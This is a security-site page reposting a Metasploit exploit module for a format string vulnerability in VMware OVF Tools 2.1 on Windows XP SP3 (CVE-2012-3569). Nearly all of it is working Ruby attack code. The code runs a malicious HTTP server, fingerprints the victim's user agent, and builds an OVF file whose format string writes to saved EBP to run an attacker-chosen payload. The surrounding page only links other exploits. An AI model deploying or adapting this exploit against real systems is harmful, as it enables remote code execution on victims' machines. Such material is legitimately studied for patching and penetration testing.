首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
VMWare OVF Tools Format String Vulnerability
来源:metasploit.com 作者:vazquez 发布时间:2013-02-07  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info={})
  super(update_info(info,
   'Name'           => 'VMWare OVF Tools Format String Vulnerability',
   'Description'    => %q{
     This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for
    Windows. The vulnerability occurs when printing error messages while parsing a
    a malformed OVF file. The module has been tested successfully with VMWare OVF Tools
    2.1 on Windows XP SP3.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'Jeremy Brown', # Vulnerability discovery
     'juan vazquez'  # Metasploit Module
    ],
   'References'     =>
    [
     [ 'CVE', '2012-3569' ],
     [ 'OSVDB', '87117' ],
     [ 'BID', '56468' ],
     [ 'URL', 'http://www.vmware.com/security/advisories/VMSA-2012-0015.html' ]
    ],
   'Payload'        =>
    {
     'DisableNops'    => true,
     'BadChars'       =>
      (0x00..0x08).to_a.pack("C*") +
      "\x0b\x0c\x0e\x0f" +
      (0x10..0x1f).to_a.pack("C*") +
      (0x80..0xff).to_a.pack("C*") +
      "\x22",
     'StackAdjustment' => -3500,
     'PrependEncoder'  => "\x54\x59", # push esp # pop ecx
     'EncoderOptions'  =>
      {
       'BufferRegister' => 'ECX',
       'BufferOffset'   => 6
      }
    },
   'DefaultOptions' =>
    {
     'InitialAutoRunScript' => 'migrate -f'
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # vmware-ovftool-2.1.0-467744-win-i386.msi
     [ 'VMWare OVF Tools 2.1 on Windows XP SP3',
      {
       'Ret'          => 0x7852753d,  # call esp # MSVCR90.dll 9.00.30729.4148 installed with VMware OVF Tools 2.1
       'AddrPops'     => 98,
       'StackPadding' => 38081,
       'Alignment'    => 4096
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 08 2012',
   'DefaultTarget'  => 0))

 end

 def ovf
  my_payload = rand_text_alpha(4) # ebp
  my_payload << [target.ret].pack("V") # eip # call esp
  my_payload << payload.encoded

  fs = rand_text_alpha(target['StackPadding']) # Padding until address aligned to 0x10000 (for example 0x120000)
  fs << rand_text_alpha(target['Alignment']) # Align to 0x11000
  fs << my_payload
  # 65536 => 0x10000
  # 27    => Error message prefix length
  fs << rand_text_alpha(65536 - 27 - target['StackPadding'] - target['Alignment'] - my_payload.length - (target['AddrPops'] * 8))
  fs << "%08x" * target['AddrPops'] # Reach saved EBP
  fs << "%hn" # Overwrite LSW of saved EBP with 0x1000

  ovf_file = <<-EOF
<?xml version="1.0" encoding="UTF-8"?>
<Envelope vmw:buildId="build-162856" xmlns="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:cim="http://schemas.dmtf.org/wbem/wscim/1/common"
xmlns:ovf="http://schemas.dmtf.org/ovf/envelope/1"
xmlns:rasd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_ResourceAllocationSettingData"
xmlns:vmw="http://www.vmware.com/schema/ovf"
xmlns:vssd="http://schemas.dmtf.org/wbem/wscim/1/cim-schema/2/CIM_VirtualSystemSettingData"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
 <References>
  <File ovf:href="Small VM-disk1.vmdk" ovf:id="file1" ovf:size="68096" />
 </References>
 <DiskSection>
  <Info>Virtual disk information</Info>
  <Disk ovf:capacity="8" ovf:capacityAllocationUnits="#{fs}" ovf:diskId="vmdisk1" ovf:fileRef="file1" ovf:format="http://www.vmware.com/interfaces/specifications/vmdk.html#streamOptimized" />
 </DiskSection>
 <VirtualSystem ovf:id="Small VM">
  <Info>A virtual machine</Info>
 </VirtualSystem>
</Envelope>
  EOF
  ovf_file
 end

 def on_request_uri(cli, request)
  agent = request.headers['User-Agent']
  uri   = request.uri

  if agent !~ /VMware-client/ or agent !~ /ovfTool/
   print_status("User agent #{agent} not recognized, answering Not Found...")
   send_not_found(cli)
  end

  if uri =~ /.mf$/
   # The manifest file isn't required
   print_status("Sending Not Found for Manifest file request...")
   send_not_found(cli)
  end

  print_status("Sending OVF exploit...")
  send_response(cli, ovf, {'Content-Type'=>'text/xml'})
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel /dev/ptmx Key Str
·ActFax 5.01 RAW Server Buffer
·Portable UPnP SDK unique_servi
·cURL Buffer Overflow Vulnerabi
·FreeBSD 9.1 ftpd Remote Denial
·MS13-005 Proof Of Concept
·Opera SVG Use After Free Vulne
·VLC Player 2.0.4 <= Arbitrary
·DataLife Engine preview.php PH
·D-LINK DIR-300 / DIR-600 Remot
·Oracle Automated Service Manag
·MS12-037 Internet Explorer 8 S
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved